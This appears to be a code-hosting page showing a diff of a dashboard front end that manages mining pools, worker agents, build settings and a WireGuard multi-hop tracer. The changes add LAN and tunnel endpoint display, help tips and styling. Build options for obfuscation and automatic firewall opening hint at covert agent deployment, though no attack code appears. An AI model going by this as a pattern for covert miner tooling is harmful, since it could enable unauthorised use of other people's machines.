<code>{missionModal.get}</code>
|
||||
|
||||
</div>
|
||||
</p>
|
||||
|
||||
<div style={{ display: 'flex', gap: '0.5rem', flexWrap: 'wrap' }}>
|
||||
|
||||
<button type="button" className="btn btn-primary" onClick={() => void copyMissionLinks(missionModal)}>
|
||||
<Link to="/builds" className="btn btn-primary" onClick={() => setMissionComplete(false)}>
|
||||
|
||||
Copy again
|
||||
|
||||
</button>
|
||||
|
||||
<Link to="/emberwake" className="btn btn-outline" onClick={() => setMissionModal(null)}>
|
||||
|
||||
War room
|
||||
View install commands in Builds →
|
||||
|
||||
</Link>
|
||||
|
||||
<button type="button" className="btn btn-outline" onClick={() => setMissionModal(null)}>
|
||||
<Link to="/emberwake" className="btn btn-outline" onClick={() => setMissionComplete(false)}>
|
||||
|
||||
Emberwake
|
||||
|
||||
</Link>
|
||||
|
||||
<button type="button" className="btn btn-outline" onClick={() => setMissionComplete(false)}>
|
||||
|
||||
Close
|
||||
|
||||
|
||||
@@ -126,8 +126,8 @@
|
||||
border-radius: 50%;
|
||||
margin-right: 5px;
|
||||
}
|
||||
.pt-agent-status-dot.online { background: #00ffaa; box-shadow: 0 0 5px #00ffaa; }
|
||||
.pt-agent-status-dot.offline { background: #555; }
|
||||
.pt-agent-status-dot.online { background: var(--neon-green); box-shadow: 0 0 5px var(--neon-green); }
|
||||
.pt-agent-status-dot.offline { background: var(--text-muted); }
|
||||
|
||||
/* ── Chain visualizer ────────────────────────────────────────── */
|
||||
|
||||
|
||||
@@ -3,6 +3,7 @@ import { api } from '../api/client';
|
||||
import { useModalAmbientDuck } from '../context/AmbientMusicContext';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import type { Agent, PathTraceHop } from '../types';
|
||||
import { HelpTip } from '../components/HelpTip';
|
||||
import './PathTracerPage.css';
|
||||
|
||||
// ── types ─────────────────────────────────────────────────────────────────────
|
||||
@@ -167,15 +168,19 @@ export default function PathTracerPage() {
|
||||
return;
|
||||
}
|
||||
if (status.ready) {
|
||||
clearInterval(pollRef.current!);
|
||||
pollRef.current = null;
|
||||
// Fetch QR.
|
||||
const qrData = await api.getTraceQR(sid);
|
||||
setQR(qrData);
|
||||
setShowQR(true);
|
||||
try {
|
||||
const qrData = await api.getTraceQR(sid);
|
||||
clearInterval(pollRef.current!);
|
||||
pollRef.current = null;
|
||||
setQR(qrData);
|
||||
setShowQR(true);
|
||||
} catch (e: unknown) {
|
||||
setError(e instanceof Error ? e.message : 'Failed to load QR config');
|
||||
}
|
||||
return;
|
||||
}
|
||||
} catch {
|
||||
// Ignore transient errors
|
||||
// Ignore transient status poll errors
|
||||
}
|
||||
}, 2000);
|
||||
};
|
||||
@@ -209,7 +214,7 @@ export default function PathTracerPage() {
|
||||
{/* Header */}
|
||||
<div className="pt-header">
|
||||
<div>
|
||||
<div className="pt-title">⬡ Path Tracer</div>
|
||||
<div className="pt-title">⬡ Path Tracer <HelpTip field="pt_path_tracer" /></div>
|
||||
<div className="pt-subtitle">
|
||||
Build an on-demand multi-hop WireGuard VPN — select up to 3 agents, click TRACE.
|
||||
</div>
|
||||
@@ -229,7 +234,7 @@ export default function PathTracerPage() {
|
||||
{/* Left: agent selection */}
|
||||
<div>
|
||||
<div className="pt-section-label">
|
||||
Online agents — click to add to chain (max 3)
|
||||
Online agents — click to add to chain (max 3) <HelpTip field="pt_agent_chain" />
|
||||
</div>
|
||||
<div className="pt-section-panel">
|
||||
{onlineAgents.length === 0 && (
|
||||
|
||||
@@ -76,8 +76,8 @@ describe('SettingsPage (Calibrate)', () => {
|
||||
|
||||
it('shows detected LAN endpoints banner', async () => {
|
||||
renderSettings();
|
||||
expect(await screen.findByText('DETECTED LAN ENDPOINTS')).toBeInTheDocument();
|
||||
expect(screen.getByText(mockServerInfo.suggested_url!)).toBeInTheDocument();
|
||||
expect(await screen.findByText('DETECTED ENDPOINTS')).toBeInTheDocument();
|
||||
expect(screen.getByText(mockServerInfo.lan_url!)).toBeInTheDocument();
|
||||
expect(screen.getByText(/IPs on this host:/)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
@@ -92,19 +92,28 @@ describe('SettingsPage (Calibrate)', () => {
|
||||
expect(await screen.findByText('Calibration saved — control server updated.')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('auto-fills detected LAN URL when public_url is blank', async () => {
|
||||
vi.spyOn(api, 'getConfig').mockResolvedValue(
|
||||
mockServerConfig({ server: { public_url: '' } })
|
||||
);
|
||||
renderSettings();
|
||||
const publicUrlInput = (await screen.findByPlaceholderText(mockServerInfo.lan_url!)) as HTMLInputElement;
|
||||
expect(publicUrlInput.value).toBe(mockServerInfo.lan_url);
|
||||
});
|
||||
|
||||
it('applies best defaults to public URL from server info', async () => {
|
||||
vi.spyOn(api, 'getConfig').mockResolvedValue(
|
||||
mockServerConfig({ server: { public_url: '' } })
|
||||
);
|
||||
renderSettings();
|
||||
await screen.findByRole('button', { name: 'Use best defaults' });
|
||||
const publicUrlInput = screen.getByPlaceholderText(mockServerInfo.suggested_url!) as HTMLInputElement;
|
||||
expect(publicUrlInput.value).toBe('');
|
||||
const publicUrlInput = screen.getByPlaceholderText(mockServerInfo.lan_url!) as HTMLInputElement;
|
||||
expect(publicUrlInput.value).toBe(mockServerInfo.lan_url);
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'Use best defaults' }));
|
||||
expect(
|
||||
await screen.findByText(/Best defaults applied.*Save Calibration/i)
|
||||
).toBeInTheDocument();
|
||||
expect(publicUrlInput.value).toBe(mockServerInfo.suggested_url);
|
||||
expect(publicUrlInput.value).toBe(mockServerInfo.lan_url);
|
||||
});
|
||||
|
||||
it('stores browser session credentials', async () => {
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import { useState, useEffect, useRef } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import { setStoredAuth, getStoredAuth, clearStoredAuth } from '../api/auth';
|
||||
import type { ServerConfig } from '../types';
|
||||
import type { ServerConfig, ServerInfo } from '../types';
|
||||
import {
|
||||
DEFAULT_PRESET_IDS,
|
||||
orderedPoolsFromSelection,
|
||||
@@ -72,7 +72,7 @@ export default function SettingsPage() {
|
||||
const { glowParticles, setGlowParticles } = useVisualEffects();
|
||||
const [forgeTheme, setForgeTheme] = useState<ForgeThemeOverride>(loadStoredForgeTheme);
|
||||
const [config, setConfig] = useState<ServerConfig | null>(null);
|
||||
const [serverInfo, setServerInfo] = useState<{ suggested_url: string; local_ips: string[] } | null>(null);
|
||||
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [saving, setSaving] = useState(false);
|
||||
const [saveMessage, setSaveMessage] = useState('');
|
||||
@@ -92,6 +92,10 @@ export default function SettingsPage() {
|
||||
useEffect(() => {
|
||||
Promise.all([api.getConfig(), api.getServerInfo()])
|
||||
.then(([cfg, info]) => {
|
||||
const detectedLan = info.lan_url?.trim()
|
||||
|| (info.local_ips?.[0] ? `http://${info.local_ips[0]}:${cfg.port || info.port || 8989}` : '');
|
||||
const publicUrl = cfg.server?.public_url?.trim() || detectedLan;
|
||||
|
||||
setConfig({
|
||||
...cfg,
|
||||
rvn_wallet: cfg.rvn_wallet ?? { address: '', payment_id: '' },
|
||||
@@ -117,7 +121,7 @@ export default function SettingsPage() {
|
||||
notify_kev_exposure: cfg.alerts?.notify_kev_exposure ?? true,
|
||||
},
|
||||
server: {
|
||||
public_url: cfg.server?.public_url ?? '',
|
||||
public_url: publicUrl,
|
||||
stats_retention_hours: cfg.server?.stats_retention_hours ?? 168,
|
||||
build_retention_days: cfg.server?.build_retention_days ?? 30,
|
||||
pool_reconnect_seconds: cfg.server?.pool_reconnect_seconds ?? 30,
|
||||
@@ -393,19 +397,35 @@ export default function SettingsPage() {
|
||||
|
||||
{serverInfo && (
|
||||
<NeonCard accent="cyan" className="calibrate-banner operator-deck-card operator-interactive" hud>
|
||||
<p className="font-tech">DETECTED LAN ENDPOINTS</p>
|
||||
<p><strong>Suggested:</strong> <code className="mono-sm">{serverInfo.suggested_url}</code></p>
|
||||
<p className="font-tech">DETECTED ENDPOINTS</p>
|
||||
{(serverInfo.lan_url || serverInfo.local_ips?.length) ? (
|
||||
<p>
|
||||
<strong>LAN:</strong>{' '}
|
||||
<code className="mono-sm">{serverInfo.lan_url || serverInfo.suggested_url}</code>
|
||||
</p>
|
||||
) : null}
|
||||
{serverInfo.tunnel_url ? (
|
||||
<p>
|
||||
<strong>HTTPS (tunnel):</strong>{' '}
|
||||
<code className="mono-sm">{serverInfo.tunnel_url}</code>
|
||||
</p>
|
||||
) : serverInfo.cloudflared_configured ? (
|
||||
<p className="form-hint">
|
||||
Cloudflare tunnel connector is configured on this server — open the dashboard via your tunnel hostname to see the public HTTPS endpoint here.
|
||||
</p>
|
||||
) : null}
|
||||
{serverInfo.local_ips?.length > 0 && (
|
||||
<p className="form-hint">IPs on this host: {serverInfo.local_ips.join(' · ')}</p>
|
||||
)}
|
||||
<p className="form-hint">Workers need this LAN address — not localhost. Click below to apply best defaults, then Save Calibration.</p>
|
||||
<p className="form-hint">Workers on your LAN need the LAN address — not localhost. Remote workers can use the HTTPS tunnel URL when cloudflared is running.</p>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-primary btn-sm"
|
||||
style={{ marginTop: '0.75rem' }}
|
||||
onClick={() => {
|
||||
if (!config) return;
|
||||
updateField('server.public_url', serverInfo.suggested_url);
|
||||
const lan = serverInfo.lan_url || serverInfo.suggested_url;
|
||||
updateField('server.public_url', lan);
|
||||
updateField('server.open_firewall_on_start', true);
|
||||
updateField('server.obfuscate_default', false);
|
||||
updateField('server.sign_enabled', false);
|
||||
@@ -649,12 +669,12 @@ export default function SettingsPage() {
|
||||
<label htmlFor="cfg-public-url" className="label">Public URL (LAN) <HelpTip field="public_url" /></label>
|
||||
<div style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}>
|
||||
<input id="cfg-public-url" type="text" className="input mono" style={{ flex: 1, minWidth: '200px' }}
|
||||
placeholder={serverInfo?.suggested_url || 'http://192.168.1.x:8989'}
|
||||
placeholder={serverInfo?.lan_url || serverInfo?.suggested_url || 'http://192.168.1.x:8989'}
|
||||
value={s.public_url}
|
||||
onChange={(e) => updateField('server.public_url', e.target.value)} />
|
||||
{serverInfo?.suggested_url && (
|
||||
{(serverInfo?.lan_url || serverInfo?.suggested_url) && (
|
||||
<button type="button" className="btn btn-outline btn-sm"
|
||||
onClick={() => updateField('server.public_url', serverInfo.suggested_url)}>
|
||||
onClick={() => updateField('server.public_url', serverInfo.lan_url || serverInfo.suggested_url)}>
|
||||
Use detected LAN
|
||||
</button>
|
||||
)}
|
||||
|
||||
@@ -289,6 +289,23 @@ input[type='range'] {
|
||||
}
|
||||
|
||||
/* ── Status & badges ───────────────────────────────────────────────────────── */
|
||||
.status-badge,
|
||||
.latency-badge,
|
||||
.fh-status-chip,
|
||||
.cn-upd,
|
||||
.cn-reboot,
|
||||
.cn-thermal,
|
||||
.cn-disk,
|
||||
.cn-throttle,
|
||||
.cn-dns,
|
||||
.cn-elevated,
|
||||
.cn-ports,
|
||||
.cn-patch,
|
||||
.cn-ssh,
|
||||
.cn-posture {
|
||||
backdrop-filter: blur(4px);
|
||||
}
|
||||
|
||||
.status-badge,
|
||||
.latency-badge {
|
||||
backdrop-filter: blur(6px);
|
||||
@@ -415,3 +432,36 @@ code {
|
||||
background: none;
|
||||
}
|
||||
}
|
||||
|
||||
/* ── Keyboard focus ──────────────────────────────────────────────────────── */
|
||||
.btn:focus-visible,
|
||||
.nav-item:focus-visible,
|
||||
.mobile-bottom-nav-item:focus-visible,
|
||||
.mobile-more-link:focus-visible,
|
||||
.input:focus-visible,
|
||||
.select:focus-visible,
|
||||
textarea.input:focus-visible,
|
||||
.fm-crumb:focus-visible,
|
||||
.fm-row:focus-visible {
|
||||
outline: 2px solid var(--neon-cyan);
|
||||
outline-offset: 2px;
|
||||
box-shadow: 0 0 0 4px rgba(0, 232, 245, 0.15);
|
||||
}
|
||||
|
||||
.matrix-toggle-btn {
|
||||
background: transparent;
|
||||
border: 1px solid var(--neon-green);
|
||||
color: var(--neon-green);
|
||||
font-family: var(--font-tech);
|
||||
letter-spacing: 0.06em;
|
||||
font-size: 0.72rem;
|
||||
padding: 0.35rem 0.65rem;
|
||||
border-radius: 2px;
|
||||
cursor: pointer;
|
||||
transition: background 0.2s ease, box-shadow 0.2s ease, border-color 0.2s ease;
|
||||
}
|
||||
|
||||
.matrix-toggle-btn:hover {
|
||||
background: rgba(46, 232, 16, 0.08);
|
||||
box-shadow: 0 0 12px rgba(46, 232, 16, 0.25);
|
||||
}
|
||||
|
||||
@@ -91,6 +91,8 @@ export const mockServerInfo: ServerInfo = {
|
||||
port: 8080,
|
||||
host: '0.0.0.0',
|
||||
local_ips: ['192.168.1.5'],
|
||||
lan_url: 'http://192.168.1.5:8080',
|
||||
cloudflared_configured: false,
|
||||
suggested_url: 'http://192.168.1.5:8080',
|
||||
dashboard_url: 'http://192.168.1.5:8080/dashboard',
|
||||
websocket_url: 'ws://192.168.1.5:8080/ws/dashboard',
|
||||
|
||||
@@ -125,6 +125,12 @@ export interface ServerInfo {
|
||||
port: number;
|
||||
host: string;
|
||||
local_ips: string[];
|
||||
/** LAN http endpoint for workers on the same network (always from local IPs). */
|
||||
lan_url?: string;
|
||||
/** HTTPS public endpoint when the dashboard request came through a tunnel/proxy. */
|
||||
tunnel_url?: string;
|
||||
/** True when a Cloudflare connector token is configured on this server. */
|
||||
cloudflared_configured?: boolean;
|
||||
suggested_url: string;
|
||||
dashboard_url: string;
|
||||
websocket_url: string;
|
||||
|
||||
Reference in New Issue
Block a user